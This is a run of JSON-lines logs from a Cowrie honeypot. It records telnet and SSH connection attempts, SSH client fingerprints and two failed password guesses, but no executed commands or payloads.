{"eventid":"cowrie.session.closed","duration":39.77951788902283,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:01.766330Z","src_ip":"159.203.13.64","session":"9904bfdf1401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.9844536781311,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:04.820871Z","src_ip":"159.203.13.64","session":"2c987ff6db7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60272,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4622a2d1d3","protocol":"telnet","message":"New connection: 159.203.13.64:60272 (10.17.0.5:23) [session: fc4622a2d1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:05.213846Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"66dc31acc0a7","protocol":"telnet","message":"New connection: 159.203.13.64:60284 (10.17.0.5:23) [session: 66dc31acc0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:07.983434Z"}
{"eventid":"cowrie.session.closed","duration":40.714149475097656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:08.743564Z","src_ip":"159.203.13.64","session":"015effe2b426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60296,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15f1ee1b604","protocol":"telnet","message":"New connection: 159.203.13.64:60296 (10.17.0.5:23) [session: d15f1ee1b604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:09.740121Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56296,"dst_ip":"10.17.0.5","dst_port":23,"session":"faac5a34f019","protocol":"telnet","message":"New connection: 159.203.13.64:56296 (10.17.0.5:23) [session: faac5a34f019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:12.693481Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56298,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c5e83f668c","protocol":"telnet","message":"New connection: 159.203.13.64:56298 (10.17.0.5:23) [session: 73c5e83f668c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:13.595388Z"}
{"eventid":"cowrie.session.closed","duration":35.05641770362854,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:13.724919Z","src_ip":"159.203.13.64","session":"11ba3b82be1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc62235cd8ab","protocol":"telnet","message":"New connection: 159.203.13.64:56312 (10.17.0.5:23) [session: bc62235cd8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:14.046025Z"}
{"eventid":"cowrie.session.closed","duration":42.17201638221741,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:16.705281Z","src_ip":"159.203.13.64","session":"2c4375ae656e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.98089933395386,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:17.276876Z","src_ip":"159.203.13.64","session":"8b82027da581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.550171852111816,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:19.204597Z","src_ip":"159.203.13.64","session":"82a6ece56568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.53193664550781,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:23.063410Z","src_ip":"159.203.13.64","session":"5390aa28d41f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2daca590d7b2","protocol":"telnet","message":"New connection: 159.203.13.64:39370 (10.17.0.5:23) [session: 2daca590d7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:25.024386Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ea5b9151144","protocol":"telnet","message":"New connection: 159.203.13.64:39378 (10.17.0.5:23) [session: 2ea5b9151144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:27.086604Z"}
{"eventid":"cowrie.session.closed","duration":0.6772582530975342,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:27.763774Z","src_ip":"159.203.13.64","session":"2ea5b9151144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33120,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a508243917e","protocol":"ssh","message":"New connection: 159.203.92.129:33120 (159.203.135.109:22) [session: 0a508243917e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:30.709686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:30.714548Z","src_ip":"159.203.92.129","session":"0a508243917e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:30.719732Z","src_ip":"159.203.92.129","session":"0a508243917e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allison","password":"123456","message":"login attempt [allison/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:30.730649Z","src_ip":"159.203.92.129","session":"0a508243917e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87702035903931,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:31.008376Z","src_ip":"80.252.221.197","session":"5599793a25d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:31.735793Z","src_ip":"159.203.92.129","session":"0a508243917e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.38.63.12","src_port":59626,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc19d243cf08","protocol":"telnet","message":"New connection: 82.38.63.12:59626 (10.17.0.5:23) [session: dc19d243cf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:31.816292Z"}
{"eventid":"cowrie.session.closed","duration":36.55005598068237,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:31.986448Z","src_ip":"159.203.13.64","session":"2929ada764f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03823208808899,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:32.059534Z","src_ip":"80.252.221.197","session":"7ce37f9c48d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37696,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1ff84cd6a1","protocol":"telnet","message":"New connection: 159.203.13.64:37696 (10.17.0.5:23) [session: 0a1ff84cd6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:32.203200Z"}
{"eventid":"cowrie.session.closed","duration":35.9870879650116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:32.712484Z","src_ip":"80.252.221.197","session":"21ec678ca9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37702,"dst_ip":"10.17.0.5","dst_port":23,"session":"8782eb151245","protocol":"telnet","message":"New connection: 159.203.13.64:37702 (10.17.0.5:23) [session: 8782eb151245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:32.961507Z"}
{"eventid":"cowrie.session.closed","duration":35.94078493118286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:33.098702Z","src_ip":"80.252.221.197","session":"588d5d0e0c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37714,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac3403ea046","protocol":"telnet","message":"New connection: 159.203.13.64:37714 (10.17.0.5:23) [session: 2ac3403ea046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:33.236737Z"}
{"eventid":"cowrie.session.closed","duration":38.15089678764343,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:34.938439Z","src_ip":"80.252.221.197","session":"12beb4f170a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37724,"dst_ip":"10.17.0.5","dst_port":23,"session":"6118d94a65ef","protocol":"telnet","message":"New connection: 159.203.13.64:37724 (10.17.0.5:23) [session: 6118d94a65ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:38.692015Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37738,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28213bf81a0","protocol":"telnet","message":"New connection: 159.203.13.64:37738 (10.17.0.5:23) [session: a28213bf81a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:39.447472Z"}
{"eventid":"cowrie.session.closed","duration":44.234378814697266,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:40.082664Z","src_ip":"159.203.13.64","session":"be5df5b61a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.04794096946716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:41.261669Z","src_ip":"159.203.13.64","session":"fc4622a2d1d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.937793493270874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:42.677816Z","src_ip":"159.203.13.64","session":"d15f1ee1b604","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":44688,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eaf882b8538","protocol":"ssh","message":"New connection: 186.13.24.118:44688 (159.203.135.109:22) [session: 4eaf882b8538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:42.682908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:42.687584Z","src_ip":"186.13.24.118","session":"4eaf882b8538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:42.855365Z","src_ip":"186.13.24.118","session":"4eaf882b8538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e258022280","protocol":"telnet","message":"New connection: 159.203.13.64:47964 (10.17.0.5:23) [session: 68e258022280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:42.959256Z"}
{"eventid":"cowrie.session.closed","duration":46.46747398376465,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:43.439525Z","src_ip":"159.203.13.64","session":"b08488e61f7a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"pass123","message":"login attempt [webadmin/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:43.554078Z","src_ip":"186.13.24.118","session":"4eaf882b8538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:44.722991Z","src_ip":"186.13.24.118","session":"4eaf882b8538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6313555240631104,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:46.590316Z","src_ip":"159.203.13.64","session":"68e258022280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47980,"dst_ip":"10.17.0.5","dst_port":23,"session":"d387bf432eeb","protocol":"telnet","message":"New connection: 159.203.13.64:47980 (10.17.0.5:23) [session: d387bf432eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:47.060457Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47992,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0657274a8f","protocol":"telnet","message":"New connection: 159.203.13.64:47992 (10.17.0.5:23) [session: be0657274a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:49.003951Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47994,"dst_ip":"10.17.0.5","dst_port":23,"session":"2132e0f7521f","protocol":"telnet","message":"New connection: 159.203.13.64:47994 (10.17.0.5:23) [session: 2132e0f7521f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:49.270457Z"}
{"eventid":"cowrie.session.closed","duration":35.78732991218567,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:49.382571Z","src_ip":"159.203.13.64","session":"73c5e83f668c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48006,"dst_ip":"10.17.0.5","dst_port":23,"session":"30dfa7c7a796","protocol":"telnet","message":"New connection: 159.203.13.64:48006 (10.17.0.5:23) [session: 30dfa7c7a796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:49.725134Z"}
{"eventid":"cowrie.session.closed","duration":42.492395639419556,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:50.475679Z","src_ip":"159.203.13.64","session":"66dc31acc0a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.94289422035217,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:55.636256Z","src_ip":"159.203.13.64","session":"faac5a34f019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":43560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6766d16715c9","protocol":"telnet","message":"New connection: 80.252.221.197:43560 (159.203.135.109:23) [session: 6766d16715c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:56.691229Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":43562,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f6c4d7c75e","protocol":"telnet","message":"New connection: 80.252.221.197:43562 (159.203.135.109:23) [session: d3f6c4d7c75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:56.821763Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":43572,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7e073eeed39","protocol":"telnet","message":"New connection: 80.252.221.197:43572 (159.203.135.109:23) [session: b7e073eeed39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:57.174946Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":43576,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a6adeb5f49","protocol":"telnet","message":"New connection: 80.252.221.197:43576 (159.203.135.109:23) [session: 37a6adeb5f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:57.290786Z"}
{"eventid":"cowrie.session.closed","duration":43.99852776527405,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:58.044448Z","src_ip":"159.203.13.64","session":"bc62235cd8ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.259729862213135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:02.075822Z","src_ip":"82.38.63.12","session":"dc19d243cf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60432,"dst_ip":"10.17.0.5","dst_port":23,"session":"fefffbd26c9a","protocol":"telnet","message":"New connection: 159.203.13.64:60432 (10.17.0.5:23) [session: fefffbd26c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:03.069425Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad4af21288a3","protocol":"telnet","message":"New connection: 159.203.13.64:60444 (10.17.0.5:23) [session: ad4af21288a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:10.500590Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44674,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3b514d1112","protocol":"telnet","message":"New connection: 159.203.13.64:44674 (10.17.0.5:23) [session: 6f3b514d1112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:12.229638Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44746,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0e5be95ee29","protocol":"ssh","message":"New connection: 159.203.92.129:44746 (159.203.135.109:22) [session: d0e5be95ee29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.236340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.241501Z","src_ip":"159.203.92.129","session":"d0e5be95ee29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.262594Z","src_ip":"159.203.92.129","session":"d0e5be95ee29","protocol":"ssh"}
